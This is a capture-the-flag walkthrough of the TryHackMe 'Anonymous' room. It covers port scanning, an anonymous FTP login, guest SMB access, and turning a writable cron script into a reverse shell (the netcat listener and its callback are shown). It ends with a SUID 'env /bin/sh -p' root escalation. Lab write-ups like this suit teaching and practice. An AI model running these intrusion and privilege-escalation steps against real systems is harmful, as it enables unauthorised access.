Anonymous THM

Port scanning with rustscan

- Open ports: 21, 22, 139, 445

```
21/tcp  open  ftp         syn-ack ttl 63 vsftpd 2.0.8 or later
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.8.52.204
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx    2 111      113          4096 Jun 04  2020 scripts [NSE: writeable]
22/tcp  open  ssh         syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubu
| ssh-hostkey:
|   2048 8b:ca:21:62:1c:2b:23:fa:6b:c6:1f:a8:13:fe:1c:68 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCi47ePYjDctfwgAphABw
|   256 95:89:a4:12:e2:e6:ab:90:5d:45:19:ff:41:5f:74:ce (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdH
|   256 e1:2a:96:a4:ea:8f:68:8f:cc:74:b8:f0:28:72:70:cd (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDHIuFL9AdcmaAIY7u+aJil1cov
139/tcp open  netbios-ssn syn-ack ttl 63 Samba smbd 3.X - 4.X (workgroup: W
445/tcp open  netbios-ssn syn-ack ttl 63 Samba smbd 4.7.6-Ubuntu (workgro
```

- We can see that login as anonymous is allowed

Host scripts results

```
Host script results:
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 4426/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 22197/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 28211/udp): CLEAN (Failed to receive data)
|   Check 4 (port 10376/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| nbstat: NetBIOS name: ANONYMOUS, NetBIOS user: <unknown>, NetBIOS M
| Names:
|   ANONYMOUS<00>       Flags: <unique><active>
|   ANONYMOUS<03>       Flags: <unique><active>
|   ANONYMOUS<20>       Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
|   WORKGROUP<00>       Flags: <group><active>
|   WORKGROUP<1d>       Flags: <unique><active>
|   WORKGROUP<1e>       Flags: <group><active>
| Statistics:
|   00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|   00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|_  00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|_clock-skew: mean: 0s, deviation: 0s, median: 0s
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: anonymous
|   NetBIOS computer name: ANONYMOUS\x00
|   Domain name: \x00
|   FQDN: anonymous
```

```
|_  System time: 2025-03-16T00:02:23+00:00
| smb2-time:
|   date: 2025-03-16T00:02:23
|_  start_date: N/A
```

FTP login

- user: anonymous
- password: anonymous

Listing directories

```
-rwxr-xrwx    1 1000     1000          314 Jun 04  2020 clean.sh
-rw-rw-r--    1 1000     1000         1118 Mar 15 23:54 removed_files.log
-rw-r--r--    1 1000     1000           68 May 12  2020 to_do.txt
```

- to_do.txt:

```
I really need to disable the anonymous login...it's really not safe
```

- removed_files.log:

```
Running cleanup script:  nothing to delete
```

- clean.bash:

```
#!/bin/bash

tmp_files=0
echo $tmp_files
if [ $tmp_files=0 ]
then
        echo "Running cleanup script:  nothing to delete" >> /var/ftp/scripts/remo
else
    for LINE in $tmp_files; do
        rm -rf /tmp/$LINE && echo "$(date) | Removed file /tmp/$LINE" >> /var/ft
fi
```

Login in to SMB

- In the Host scripts results we see that we have acess to smb as guest.

```
└─$ smbclient //anonymous.thm/pics -U guest -p 445

Password for [WORKGROUP\guest]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                   D        0  Sun May 17 07:11:34 2020
  ..                  D        0  Wed May 13 21:59:10 2020
  corgo2.jpg          N    42663  Mon May 11 20:43:42 2020
  puppos.jpeg         N   265188  Mon May 11 20:43:42 2020
```

- Getting the images to analyse using binwalk

```
└─$ binwalk corgo2.jpg

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01



┌──(kali㉿kali)-[~]
└─$ binwalk puppos.jpeg

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, EXIF standard
12            0xC             TIFF image data, little-endian offset of first image directo
28229         0x6E45          Copyright string: "Copyright (c) 1998 Hewlett-Packa
```

Checking out smb version

```
└─$ nmap --script smb-protocols -p 445 anonymous.thm
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-15 20:38 EDT
Nmap scan report for anonymous.thm (10.10.91.14)
Host is up (0.12s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-protocols:
|   dialects:
|     NT LM 0.12 (SMBv1) [dangerous, but default]
|     2:0:2
|     2:1:0
|     3:0:0
|     3:0:2
|_    3:1:1
```

Findind vulnerabilities

```
[*] exec: nmap --script smb-vuln* -p 445 10.10.91.14

Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-15 20:53 EDT
Nmap scan report for anonymous.thm (10.10.91.14)
Host is up (0.064s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
|_smb-vuln-ms10-054: false
| smb-vuln-regsvc-dos:
|   VULNERABLE:
|   Service regsvc in Microsoft Windows systems vulnerable to denial of servic
|     State: VULNERABLE
```

```
|       The service regsvc in Microsoft Windows 2000 systems is vulnerable to
|       pointer. This script will crash the service if it is vulnerable. This vulnerabi
|       while working on smb-enum-sessions.
|_
|_smb-vuln-ms10-061: false
```

After a while i found nothing about vulnerabilities.Soo i loged in again to the ftp server and check once more the scripts files.I can see there that the clean.sh is running constantly because of the logs. Soo i changed the clean.sh file to do a reverse shell

```
  └─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.8.52.204] from (UNKNOWN) [10.10.91.14] 56506
/bin/sh: 0: can't access tty; job control turned off
$ whoami
namelessone
```

With namelessone we can acess the user.txt flag

Searching suid files

```
find / -perm -u=s -type f 2>/dev/null
```

With env bin after a search in GFTOBins we can get root

```
./env /bin/sh -p
```

With that we got root and now we can acess the last flag